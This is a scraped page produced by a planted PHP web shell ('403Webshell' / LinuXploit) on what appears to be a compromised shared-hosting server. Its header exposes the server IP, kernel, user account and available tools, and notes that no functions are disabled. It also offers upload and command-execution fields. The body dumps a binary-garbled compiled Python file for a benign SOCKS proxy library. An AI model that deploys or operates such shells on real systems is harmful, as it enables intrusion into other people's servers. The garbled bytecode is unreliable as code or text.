403Webshell
Server IP : 172.67.155.212  /  Your IP : 216.73.216.114
Web Server : LiteSpeed
System : Linux premium234.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : pawazvgw ( 969)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib64/python3.12/site-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hc_python/lib64/python3.12/site-packages/__pycache__/sockshandler.cpython-312.pyc
�

���g~���dZddlZddlZ	ddlZddlZddl
Z
d�Zd�Ze
�ZGd�dej�ZGd�dej"�ZGd	�d
ej&ej(�Zedk(r�ddlZ	eej2d�Zej:ee
j<de��Ze dejCd�jE�jG�z�e dejCd�jE�jG�z�yy#e$rddlmZddlm	ZY�� wxYw#eef$rd
ZY��wxYw)z�
SocksiPy + urllib2 handler

version: 0.3
author: e<[email protected]>

This module provides a Handler which you can use with urllib2 to allow it to tunnel your connection through a socks.sockssocket socket, with out monkey patching the original socket...
�Nc�H�|j�}|j|�|S�N)�copy�update)�a�b�ds   �;/opt/hc_python/lib/python3.12/site-packages/sockshandler.py�
merge_dictrs��	����A��H�H�Q�K��H�c��	d|vr%tjtj|�yd|vrtj|�yy#YyxYw)N�:�.FT)�socket�	inet_pton�AF_INET6�	inet_aton)�ss r
�is_iprsR��
��!�8����V�_�_�a�0���A�X����Q���	����s�(A�A�A
c��eZdZdd�Zd�Zy)�SocksiPyConnectionNc�d�||||||f|_tjj|g|��i|��yr)�	proxyargs�httplib�HTTPConnection�__init__�	�self�	proxytype�	proxyaddr�	proxyport�rdns�username�password�args�kwargss	         r
rzSocksiPyConnection.__init__+s4��#�Y�	�4��8�T������'�'��>�t�>�v�>rc���|j\}}}}}}|xr|tv}		tj|j|j
f|jd||||||tjtjdff�
}	||_y#tj$rG}|r:dt|�vr-t|j�sd}tj|�n�Yd}~nd}~wwxYw��)N��0x5bF)r�socks4_no_rdns�socks�create_connection�host�port�timeoutr�IPPROTO_TCP�TCP_NODELAY�SOCKS4Error�strr�add�sock)	rrr r!r"r#r$r5�es	         r
�connectzSocksiPyConnection.connect/s���FJ�n�n�C��I�y�$��(��7�	��7���

��.�.��Y�Y��	�	�*�D�L�L�$��y�)�T�8�X��(�(�&�*<�*<�a�@�B�D�����	���$�$�
��F�c�!�f�,�U�4�9�9�5E�!�D�"�&�&�y�1��2��
��s�AB	�	C#�=C�C#�NTNN��__name__�
__module__�__qualname__rr7�rr
rr*s��?�rrc��eZdZdd�Zd�Zy)�SocksiPyConnectionSNc�d�||||||f|_tjj|g|��i|��yr)rr�HTTPSConnectionrrs	         r
rzSocksiPyConnectionS.__init__Ds4��#�Y�	�4��8�T������(�(��?��?��?rc��tj|�|jj|j|j
��|_|jjsG|jr:	tj|jj�|j
�yyy#t$rE|jjtj�|jj��wxYw)N)�server_hostname)rr7�_context�wrap_socketr5r-�check_hostname�_check_hostname�ssl�match_hostname�getpeercert�	Exception�shutdownr�	SHUT_RDWR�close)rs r
r7zSocksiPyConnectionS.connectHs����"�"�4�(��M�M�-�-�d�i�i����-�S��	��}�}�+�+��0D�0D�
��"�"�4�9�9�#8�#8�#:�D�I�I�F�1E�+���
��	�	�"�"�6�#3�#3�4��	�	���!��
�s
�/8B*�*AC8r8r9r=rr
r?r?Cs
��@�	rr?c��eZdZd�Zd�Zd�Zy)�SocksiPyHandlerc�^�||_||_tjj	|�yr)r%�kw�urllib2�HTTPHandlerr)rr%r&s   r
rzSocksiPyHandler.__init__Ts$����	�������$�$�T�*rc�4��d�fd�	}�j||�S)Nc�f��t�j|�}t�j|||d�|��}|S�N)r-r.r/)rrRrr%�r-r.r/r&rR�connrs      �r
�buildz(SocksiPyHandler.http_open.<locals>.buildZs3����D�G�G�V�,�B�%�t�y�y�t�$�PW�^�[]�^�D��Kr�Nr��do_open�r�reqrZs`  r
�	http_openzSocksiPyHandler.http_openY����	��|�|�E�3�'�'rc�4��d�fd�	}�j||�S)Nc�f��t�j|�}t�j|||d�|��}|SrW)rrRr?r%rXs      �r
rZz)SocksiPyHandler.https_open.<locals>.buildas3����D�G�G�V�,�B�&��	�	��4�QX�_�\^�_�D��Krr[r\r^s`  r
�
https_openzSocksiPyHandler.https_open`rarN)r:r;r<rr`rdr=rr
rPrPSs��+�
(�(rrP�__main__r(iZ#�	localhostzHTTP: zhttp://httpbin.org/ipzHTTPS: zhttps://httpbin.org/ip)$�__doc__rrHrSr�ImportError�urllib.request�request�http.client�clientr+rr�setr*rrrAr?rT�HTTPSHandlerrPr:�sys�int�argvr.�
ValueError�
IndexError�build_opener�PROXY_TYPE_SOCKS5�opener�print�open�read�decoder=rr
�<module>r{sH����
�"���

�
�
������/�/��2�'�1�1�� (�g�)�)�7�+?�+?�(�(�z�����3�8�8�A�;���"�W�
!�
!�/�%�2I�2I�;�X\�"]�
^�F�	�(�V�[�[�!8�9�>�>�@�G�G�I�
I�J�	�)�f�k�k�":�;�@�@�B�I�I�K�
K�L���o�"�$�!�!�"��v
�
�#�����s#�D �9D8� D5�4D5�8	E�E

Youez - 2016 - github.com/yon3zu
LinuXploit